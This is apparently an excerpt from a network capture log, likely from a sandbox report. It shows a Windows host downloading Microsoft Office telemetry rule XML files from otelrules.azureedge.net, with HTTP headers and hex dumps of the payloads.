2024-11-16 03:34:12 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:12 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 9d36fa3e-201e-00aa-2ec7-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033412Z-164f84587bftbpb6hC1DFWm4kg00000000zg00000000fdu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:12 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033412Z-1866b5c5fbb55pxzhC1DFW1aps000000024g00000000mqum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:12 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:12 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033412Z-16547b76f7f7scqbhC1DFW0m5w0000000nu000000000qkr2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:12 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:12 UTC	522	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 42a4478f-a01e-0032-2706-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033412Z-164f84587bfs5tz9hC1DFW9a3w00000002cg000000004gwu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 03:34:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:12 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033412Z-164f84587bfsgfx9hC1DFWw1as000000026g0000000043uq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:13 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:13 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 40dd3742-a01e-0002-350c-365074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033413Z-1866b5c5fbbkcpv2hC1DFWf1yc000000026g00000000pstn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:13 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:13 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:13 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033413Z-16547b76f7fkf5v9hC1DFW2y5s000000021g00000000k22n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:13 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:13 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:13 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033413Z-16547b76f7f5b5tthC1DFWuk8400000000t000000000mybq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:13 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:13 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 76271b94-301e-003f-3d00-36266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033413Z-1866b5c5fbbr78bbhC1DFWqz2n00000002cg000000008fy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:13 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:13 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: ce92c93d-101e-008e-6ea0-34cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033413Z-1866b5c5fbb8pmbjhC1DFW6z0c000000028g00000000c5sa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:14 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 839b5edb-301e-0000-1240-36eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033414Z-1866b5c5fbb55pxzhC1DFW1aps00000002bg000000000vfr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:14 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:14 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033414Z-1866b5c5fbb55pxzhC1DFW1aps000000025g00000000hzsv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
